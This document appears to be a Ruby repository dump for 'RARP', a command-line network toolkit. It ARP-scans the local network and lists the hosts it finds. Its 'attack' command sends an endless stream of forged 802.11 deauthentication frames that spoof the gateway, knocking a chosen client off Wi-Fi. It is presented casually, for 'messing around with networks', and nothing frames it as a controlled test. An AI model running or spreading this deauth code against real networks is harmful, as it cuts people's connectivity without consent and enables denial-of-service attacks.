├── README.md ├── commands.rb ├── logger.rb ├── rarp.rb └── utils.rb /README.md: -------------------------------------------------------------------------------- 1 | # RARP 2 | A fun (toolkit) written in ruby for messing around with networks 🙂 3 | - Nice-ish UI 4 | - Deauth comming soon 👀 5 | 6 | # Preview 7 | ![RARP Screenshot](https://i.ibb.co/sWgRRDs/out.png) 8 | 9 | # Installation 10 | ``` 11 | git clone https://github.com/SpookySec/rarp.git 12 | gem install colorize packetgen arp_scan tty 13 | ``` 14 | 15 | # Usage 16 | ``` 17 | # ruby rarp.rb 18 | ``` 19 | 20 | ## Social Media 21 | [@spooky_sec](https://instagram.com/spooky_sec) 22 | 23 | [@SpookySec](https://github.com/SpookySec) 24 | 25 | [@sec_spooky](https://twitter.com/sec_spooky) 26 | -------------------------------------------------------------------------------- /commands.rb: -------------------------------------------------------------------------------- 1 | require "arp_scan" 2 | require "tty-progressbar" 3 | require "packetgen" 4 | 5 | require_relative "utils" 6 | require_relative "logger" 7 | 8 | class RARP 9 | def self.get_mac(ip) 10 | mac = ARPScan(ip).hosts.first.mac 11 | end 12 | 13 | attr_reader :ips 14 | attr_reader :arp_hosts 15 | attr_reader :macs 16 | 17 | def initialize 18 | @scanned = false 19 | @report = nil 20 | @gateway = nil 21 | @arp_hosts = Array.new 22 | @ips = Array.new 23 | @macs = Array.new 24 | end 25 | 26 | def scan 27 | bar = TTY::ProgressBar.new("Scanning... [:bar]", bar_format: :box, total: 100, clear: true) 28 | @report = ARPScan("--localnet"); 29 | 100.times { 30 | bar.advance 31 | sleep(0.007) 32 | } 33 | 34 | @scanned = true 35 | @arp_hosts = @report.hosts 36 | @gateway = @arp_hosts.first.mac 37 | @ips = @arp_hosts.map { |h| h.ip_addr } 38 | @ips.uniq! 39 | @ips.sort_by! {|ip| ip.split('.').map{|octet| octet.to_i}} 40 | @macs = @arp_hosts.map { |h| h.mac } 41 | info("Successfully scanned!") 42 | return @arp_hosts.uniq! 43 | end 44 | 45 | def ipinfo(ip) 46 | begin 47 | report = ARPScan(ip) 48 | info = report.hosts.first 49 | [info.ip_addr, info.mac, info.oui] 50 | rescue 51 | error("Please make sure it's a valid IP!") 52 | return 53 | end 54 | end 55 | 56 | def help 57 | info("Current commands:") 58 | Utils::CMDS.each do |cmd| 59 | puts "\t- #{cmd}" 60 | end 61 | end 62 | 63 | def hosts 64 | unless @scanned 65 | warning("Please run 'scan' to scan your network") 66 | return 67 | end 68 | 69 | @ips.each do |ip| 70 | info(ip) 71 | end 72 | end 73 | 74 | def attack(host) 75 | begin 76 | stop = Proc.new { print "\e[1A\e[K"; info("Stopping..."); return } 77 | pkt = PacketGen.gen("RadioTap"). 78 | add("Dot11::Management", mac1: host, mac2: @gateway, mac3: @gateway). 79 | add("Dot11::DeAuth", reason: 7) 80 | 81 | info("Gateway: #{@gateway}") 82 | info("Client: #{host}") 83 | 84 | bar = TTY::ProgressBar.new("Attacking... [:bar]", clear: true, bar_format: :box) 85 | begin 86 | loop do |sent| 87 | bar.advance 88 | pkt.to_w 89 | end 90 | ensure 91 | 92 | bar.finish 93 | stop.call 94 | end 95 | 96 | rescue 97 | warning("An error occurred") 98 | return 99 | end 100 | end 101 | 102 | def config 103 | unless @scanned 104 | warning("Please run 'scan' to scan your network") 105 | return 106 | end 107 | 108 | info("Range: #{@report.range_size}") 109 | info("Alive: #{@report.reply_count}") 110 | info("Last scan time: #{@report.scan_time }") 111 | info("Version: #{@report.version}") 112 | end 113 | end -------------------------------------------------------------------------------- /logger.rb: -------------------------------------------------------------------------------- 1 | require "colorize" 2 | 3 | def warning(msg) 4 | msg = msg.to_s 5 | puts "#{'['.colorize(:white)}#{'!'.colorize(:yellow)}#{']'.colorize(:white)} #{msg.colorize(:yellow)}" 6 | end 7 | 8 | def info(msg) 9 | msg = msg.to_s 10 | puts "#{'['.colorize(:white)}#{'*'.colorize(:green)}#{']'.colorize(:white)} #{msg.colorize(:green)}" 11 | end 12 | 13 | def error(msg) 14 | msg = msg.to_s 15 | puts "#{'['.colorize(:white)}#{'-'.colorize(:red)}#{']'.colorize(:white)} #{msg.colorize(:red)}" 16 | end -------------------------------------------------------------------------------- /rarp.rb: -------------------------------------------------------------------------------- 1 | require_relative "logger" 2 | 3 | unless Process.euid == 0 4 | error("You need root privs to run this.") 5 | exit! 6 | end 7 | 8 | require "tty-prompt" 9 | require "tty-reader" 10 | 11 | require_relative "commands" 12 | require_relative "utils" 13 | 14 | terminate = Proc.new { puts; warning("Exiting..."); exit! } 15 | reader = TTY::Reader.new(interrupt: terminate) 16 | prompt = TTY::Prompt.new(interrupt: terminate) 17 | rarp = RARP.new 18 | 19 | puts Utils::BANNER 20 | 21 | loop do 22 | input = reader.read_line(Utils::PROMPT).split 23 | unless input.first.nil? 24 | unless Utils::CMDS.include? input.first 25 | warning("Command: '#{input.first}' not found") 26 | next 27 | end 28 | 29 | case input.first 30 | when "clear" 31 | system("clear") 32 | when "scan" 33 | rarp.scan 34 | when "info" 35 | if rarp.ips.empty? 36 | error("No IPs found in buffer!") 37 | else 38 | begin 39 | parsed = rarp.ipinfo prompt.select("Select a host:", rarp.ips) 40 | info("IP : #{parsed[0]}") 41 | info("MAC: #{parsed[1]}") 42 | info("OUI: #{parsed[2]}") 43 | rescue 44 | warning("Host seems down or invalid!") 45 | end 46 | end 47 | when "help" 48 | rarp.help 49 | when "config" 50 | rarp.config 51 | when "hosts" 52 | unless rarp.ips.empty? 53 | rarp.ips.each do |ip| 54 | info(ip) 55 | end 56 | else 57 | error("No IPs found in buffer!") 58 | end 59 | when "attack" 60 | targets = Hash[rarp.arp_hosts.collect {|host| [host.ip_addr, host.mac] } ] 61 | unless rarp.ips.empty? 62 | target = prompt.select("Select a host:", targets) 63 | print "\e[1A\e[K" 64 | rarp.attack(target) 65 | else 66 | error("No IPs found in buffer!") 67 | end 68 | when "quit" 69 | puts "\e[2A" 70 | terminate.call 71 | end 72 | end 73 | end 74 | -------------------------------------------------------------------------------- /utils.rb: -------------------------------------------------------------------------------- 1 | require "colorize" 2 | 3 | module Utils 4 | BANNER = ''' 5 | _____ _____ _____ _____ 6 | (, / ) (, / | (, / ) (, / ) 7 | /__ / /---| /__ / _/__ / 8 | ) / \_ ) / |_) / \_ / 9 | (_/ (_/ (_/ ) / 10 | (_/ 11 | .: @spooky_sec :. 12 | 13 | ''' 14 | CMDS = %w(help config scan hosts quit attack info clear) 15 | PROMPT = "(rarp) ".colorize(:red) 16 | end --------------------------------------------------------------------------------